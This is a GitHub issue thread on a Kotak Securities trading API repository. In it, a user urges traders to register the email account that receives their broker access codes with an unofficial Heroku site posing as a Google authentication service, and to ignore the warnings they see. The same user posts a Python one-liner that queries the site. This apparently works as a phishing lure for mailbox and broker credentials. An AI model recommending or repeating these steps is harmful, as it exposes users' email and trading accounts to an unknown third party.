osparamatrix / ks-orderapi-python

47 stars 60 forks source link

Automatic access code fetching code here #76

Open kalilinux-png opened 2 years ago

kalilinux-png commented 2 years ago

Greeting's Guys if you wanted to fetch the access code automatically then follow the steps given below during registration you might get a warning ignore them because the app is under testing step 1 . Register Yourself here at http://googleoauthentication.herokuapp.com step 2 . http://googleoauthentication.herokuapp.com/otp/{your_mail_id_here} fell free to reply to this thread to clear any doubt's Have A Good Day

jayakarthik-devices commented 2 years ago

Sir.. Should I use only the email registered with broker or any alternate email ID?

kalilinux-png commented 2 years ago

I am glad to have your query @jayakarthik-devices You Should use the email account on which you receives the access code from Kotak securities let me know if you have any more question

kalilinux-png commented 2 years ago

Greeting Guys The code given below will help you to fetch instrument token without any extra efforts so that you can focus on something more important

import requests as rq; print(rq.get('http://googleoauthentication.herokuapp.com/code/nse/Vedl').text)

In the above code nse is the exchange and Vedl is the stock name Note : the above code works only for the cash,equity segment not on futures and options

if anyone wants the code for future and options please let us know Have a great day Happy Trading @jayakarthik-devices

ashwinkp commented 2 years ago

Or one can simply use the Session-2FA - TradeAPI. The TradeAPI does not require the OTP Check this out. https://mobile.twitter.com/gautam_sidd/status/1484445523054628869/photo/1